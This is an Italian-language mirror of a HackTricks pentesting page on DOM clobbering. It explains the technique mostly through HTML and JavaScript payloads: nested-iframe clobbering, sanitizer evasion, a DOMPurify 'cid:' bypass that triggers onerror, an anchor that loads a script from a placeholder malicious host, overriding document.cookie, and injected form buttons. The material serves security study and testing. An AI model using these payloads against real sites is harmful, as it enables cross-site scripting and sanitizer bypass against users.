mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-18 06:58:27 +00:00
225 lines
13 KiB
Markdown
225 lines
13 KiB
Markdown
# Dom Clobbering
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **Basics**
|
||
|
||
È possibile generare **variabili globali all'interno del contesto JS** con gli attributi **`id`** e **`name`** nei tag HTML.
|
||
```html
|
||
<form id=x></form>
|
||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||
```
|
||
**Solo** alcuni elementi possono utilizzare l'**attributo name** per **clobber** i globali, essi sono: `embed`, `form`, `iframe`, `image`, `img` e `object`.
|
||
|
||
È interessante notare che, quando si utilizza un **elemento form** per **clobber** una variabile, si otterrà il valore **`toString`** dell'elemento stesso: `[object HTMLFormElement]`, ma con **anchor** il **`toString`** sarà l'**href** dell'anchor. Pertanto, se si **clobber** utilizzando il tag **`a`**, si può **controllare** il **valore** quando è **trattato come una stringa**:
|
||
```html
|
||
<a href="controlled string" id=x></a>
|
||
<script>
|
||
console.log(x);//controlled string
|
||
</script>
|
||
```
|
||
### Arrays & Attributes
|
||
|
||
È anche possibile **sovrascrivere un array** e **attributi di oggetti**:
|
||
```html
|
||
<a id=x>
|
||
<a id=x name=y href=controlled>
|
||
<script>
|
||
console.log(x[1])//controlled
|
||
console.log(x.y)//controlled
|
||
</script>
|
||
```
|
||
Per sovrascrivere **un 3° attributo** (ad es. x.y.z), è necessario utilizzare un **`form`**:
|
||
```html
|
||
<form id=x name=y><input id=z value=controlled></form>
|
||
<form id=x></form>
|
||
<script>
|
||
alert(x.y.z.value)//controlled
|
||
</script>
|
||
```
|
||
Clobbering più attributi è **più complicato ma ancora possibile**, usando iframe:
|
||
```html
|
||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>alert(x.y)//controlled</script>
|
||
```
|
||
{% hint style="warning" %}
|
||
Il tag style è usato per **dare abbastanza tempo all'iframe per renderizzare**. Senza di esso troverai un avviso di **undefined**.
|
||
{% endhint %}
|
||
|
||
Per sovrascrivere attributi più profondi, puoi usare **iframes con codifica html** in questo modo:
|
||
```html
|
||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>
|
||
alert(a.b.c.d.e)//controlled
|
||
</script>
|
||
```
|
||
### **Evasione dei Filtri**
|
||
|
||
Se un filtro sta **iterando** attraverso le **proprietà** di un nodo utilizzando qualcosa come `document.getElementByID('x').attributes`, potresti **sovrascrivere** l'attributo **`.attributes`** e **rompere il filtro**. Altre proprietà del DOM come **`tagName`**, **`nodeName`** o **`parentNode`** e altre sono anch'esse **sovrascrivibili**.
|
||
```html
|
||
<form id=x></form>
|
||
<form id=y>
|
||
<input name=nodeName>
|
||
</form>
|
||
<script>
|
||
console.log(document.getElementById('x').nodeName)//FORM
|
||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||
</script>
|
||
```
|
||
## **Clobbering `window.someObject`**
|
||
|
||
In JavaScript è comune trovare:
|
||
```javascript
|
||
var someObject = window.someObject || {};
|
||
```
|
||
Manipolare l'HTML sulla pagina consente di sovrascrivere `someObject` con un nodo DOM, potenzialmente introducendo vulnerabilità di sicurezza. Ad esempio, puoi sostituire `someObject` con un elemento di ancoraggio che punta a uno script malevolo:
|
||
```html
|
||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||
```
|
||
In un codice vulnerabile come:
|
||
```html
|
||
<script>
|
||
window.onload = function(){
|
||
let someObject = window.someObject || {};
|
||
let script = document.createElement('script');
|
||
script.src = someObject.url;
|
||
document.body.appendChild(script);
|
||
};
|
||
</script>
|
||
```
|
||
Questo metodo sfrutta la sorgente dello script per eseguire codice indesiderato.
|
||
|
||
**Trucco**: **`DOMPurify`** consente di utilizzare il protocollo **`cid:`**, che **non codifica in URL le virgolette doppie**. Ciò significa che puoi **iniettare una virgoletta doppia codificata che verrà decodificata durante l'esecuzione**. Pertanto, iniettare qualcosa come **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** farà sì che l'HTML codificato `"` venga **decodificato durante l'esecuzione** e **escapato** dal valore dell'attributo per **creare** l'evento **`onerror`**.
|
||
|
||
Un'altra tecnica utilizza un elemento **`form`**. Alcune librerie client-side ispezionano gli attributi di un nuovo elemento form creato per pulirli. Tuttavia, aggiungendo un `input` con `id=attributes` all'interno del modulo, sovrascrivi effettivamente la proprietà degli attributi, impedendo al sanitizzatore di accedere agli attributi reali.
|
||
|
||
Puoi [**trovare un esempio di questo tipo di clobbering in questo CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||
|
||
## Clobbering dell'oggetto documento
|
||
|
||
Secondo la documentazione, è possibile sovrascrivere gli attributi dell'oggetto documento utilizzando il DOM Clobbering:
|
||
|
||
> L'interfaccia [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [supporta proprietà nominate](https://webidl.spec.whatwg.org/#dfn-support-named-properties). I [nomi delle proprietà supportate](https://webidl.spec.whatwg.org/#dfn-supported-property-names) di un oggetto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) in qualsiasi momento consistono nei seguenti, in [ordine ad albero](https://dom.spec.whatwg.org/#concept-tree-order) secondo l'elemento che le ha contribuite, ignorando i duplicati successivi, e con i valori degli attributi [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) che vengono prima dei valori degli attributi name quando lo stesso elemento contribuisce a entrambi:
|
||
>
|
||
> \- Il valore dell'attributo di contenuto name per tutti gli elementi [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) che hanno un attributo di contenuto name non vuoto e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- Il valore dell'attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) per tutti gli elementi [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) che hanno un attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vuoto e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- Il valore dell'attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) per tutti gli elementi [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) che hanno sia un attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vuoto che un attributo di contenuto name non vuoto, e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root).
|
||
|
||
Utilizzando questa tecnica, puoi sovrascrivere **valori comunemente usati come `document.cookie`, `document.body`, `document.children`**, e persino metodi nell'interfaccia Document come `document.querySelector`.
|
||
```javascript
|
||
document.write("<img name=cookie />")
|
||
|
||
document.cookie
|
||
<img name="cookie">
|
||
|
||
typeof(document.cookie)
|
||
'object'
|
||
|
||
//Something more sanitize friendly than a img tag
|
||
document.write("<form name=cookie><input id=toString></form>")
|
||
|
||
document.cookie
|
||
HTMLCollection(2) [img, form, cookie: img]
|
||
|
||
typeof(document.cookie)
|
||
'object
|
||
```
|
||
## Scrivere dopo l'elemento clobbered
|
||
|
||
I risultati delle chiamate a **`document.getElementById()`** e **`document.querySelector()`** possono essere alterati iniettando un tag `<html>` o `<body>` con un attributo id identico. Ecco come può essere fatto:
|
||
```html
|
||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||
<p>
|
||
<html id="cdnDomain" class="x">clobbered</html>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
alert(document.querySelector('.x').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
Inoltre, utilizzando stili per nascondere questi tag HTML/body iniettati, si può prevenire l'interferenza di altro testo in `innerText`, migliorando così l'efficacia dell'attacco:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">test</div>
|
||
<p>existing text</p>
|
||
<html id="cdnDomain">clobbered</html>
|
||
<style>
|
||
p{display:none;}
|
||
</style>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
Le indagini su SVG hanno rivelato che un tag `<body>` può essere utilizzato efficacemente:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg><body id="cdnDomain">clobbered</body></svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
Per il tag HTML per funzionare all'interno di SVG in browser come Chrome e Firefox, è necessario un tag `<foreignobject>`:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<foreignobject>
|
||
<html id="cdnDomain">clobbered</html>
|
||
</foreignobject>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
## Clobbering Forms
|
||
|
||
È possibile aggiungere **nuove voci all'interno di un modulo** semplicemente **specificando l'attributo `form`** all'interno di alcuni tag. Puoi usare questo per **aggiungere nuovi valori all'interno di un modulo** e persino aggiungere un **pulsante** per **inviarlo** (clickjacking o abusando di qualche codice JS `.click()`):
|
||
|
||
{% code overflow="wrap" %}
|
||
```html
|
||
<!--Add a new attribute and a new button to send-->
|
||
<textarea form=id-other-form name=info>
|
||
";alert(1);//
|
||
</textarea>
|
||
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
|
||
Click to send!
|
||
</button>
|
||
```
|
||
{% endcode %}
|
||
|
||
* Per ulteriori attributi del modulo in [**pulsante controlla questo**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||
|
||
## Riferimenti
|
||
|
||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||
* Heyes, Gareth. JavaScript per hacker: Impara a pensare come un hacker.
|
||
|
||
{% hint style="success" %}
|
||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Supporta HackTricks</summary>
|
||
|
||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||
|
||
</details>
|
||
{% endhint %}
|